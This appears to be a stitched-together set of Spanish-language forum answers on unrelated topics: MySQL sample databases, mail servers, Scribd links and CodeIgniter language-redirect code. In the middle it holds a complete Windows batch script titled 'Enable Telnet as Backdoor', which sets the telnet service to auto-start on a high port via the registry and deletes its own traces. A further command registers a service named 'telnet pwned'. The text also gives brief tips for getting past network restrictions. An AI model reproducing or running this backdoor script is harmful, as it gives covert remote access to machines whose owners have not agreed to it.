Depende del gestor que uses, aunque la mayoría guardan las bases de datos cifradas.

Otra opción es cifrar los datos con algún algoritmo "2-way", desde tu aplicación.

Aquí tienes una MySQL Sample Database (56.8 KB). En la página oficial de MySQL hay bases de datos de prueba:

_Sakila Sample Database
_World Database
_Employees Sample Database
_BIRT Sample Database


Sakila, tal vez sea la más compleja:

Con un simple script en batch:

@echo off
@echo Enable Telnet as Backdoor on 2k
echo.
@echo Changing registry ...
@echo REGEDIT4>temp.reg
echo. >>temp.reg
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TlntSvr]>>temp.reg
echo. >>temp.reg
echo "ErrorControl"=dword:00000001>>temp.reg
echo "Start"=dword:00000002>>temp.reg
echo "Type"=dword:00000010>>temp.reg
echo "FailureActions"=hex:00,00,00,00,00,00,00,00,00,00,00,00,03,00,00,00,38,65,11,00,01,00,00,00,60,e
a,00,00,01,00,00,00,60,ea,00,00,01,00,00,00,60,ea,00,00>>temp.reg
echo. >>temp.reg
echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\TelnetServer\1.0]>>temp.reg
echo. >>temp.reg
echo "NTLM"=dword:00000001>>temp.reg
echo "TelnetPort"=dword:0000ffff>>temp.reg
echo.
regedit /s temp.reg
echo Starting Service
net start tlntsvr
echo cleanup
del temp.reg
del install.cmd

Otra opción es crear otro servicio para el telnet y activarlo:

services CREATESVRANY "telnet2" "telnet pwned" "c:\windows\svrany.exe" "c:\windows\system32\tlntsvr.exe"
net start telnet2

En Windows 7 hay otra opción:

Activar el cliente.

pkgmgr /iu:”TelnetClient” 

Activar el servidor.

pkgmgr /iu:”TelnetServer”

Hay varias opciones, aunque si el que administra la red tiene experiencia, no podrás saltarte las restricciones con nada.

Opciones:

- Proxy (ya sea webproxy u otros).
- Túnel SSH.
- VPN.

Para el servidor de correo recomiendo Dovecot + Postfix. Los dos son fáciles de configurar y hay mucha
documentación sobre ellos.

Respecto al segundo tema que mencionas, echa un vistazo a este post: migración de windows a linux.

Una clasificación de los lenguajes de programación según varios criterios.

http://es.scribd.com/fullscreen/73045465?access_key=key-1pkxhsneo6mw1266rkz6

Se puede descargar desde scribd.

Presentación sobre los modelos de ciclos de vida. En realidad se habla sólo de modelo en cascada y sus variaciones
y el modelo en espiral.

http://es.scribd.com/fullscreen/73045251?access_key=key-1mwweoriatlz7h9768di

Se puede descargar desde scribd.

Te puede servir perfectamente para lo que tu quieres.

En el constructor del controlador, lo usas así:

if ($this->agent->accept_lang('en'))
{
    redirect('site/english');
}else if ($this->agent->accept_lang('es')
{
    redirect('site/spanish');
}

Claro está que el controlador debe tener los métodos english y spanish.

O puedes parsear HTML con alguna librería.

Parsear HTML con PHP – Simple HTML DOM Parser

Puedes usar la clase UserAgent.

Con el método $this->agent->accept_lang().

if ($this->agent->accept_lang('en'))
{
    echo 'You accept English!';
}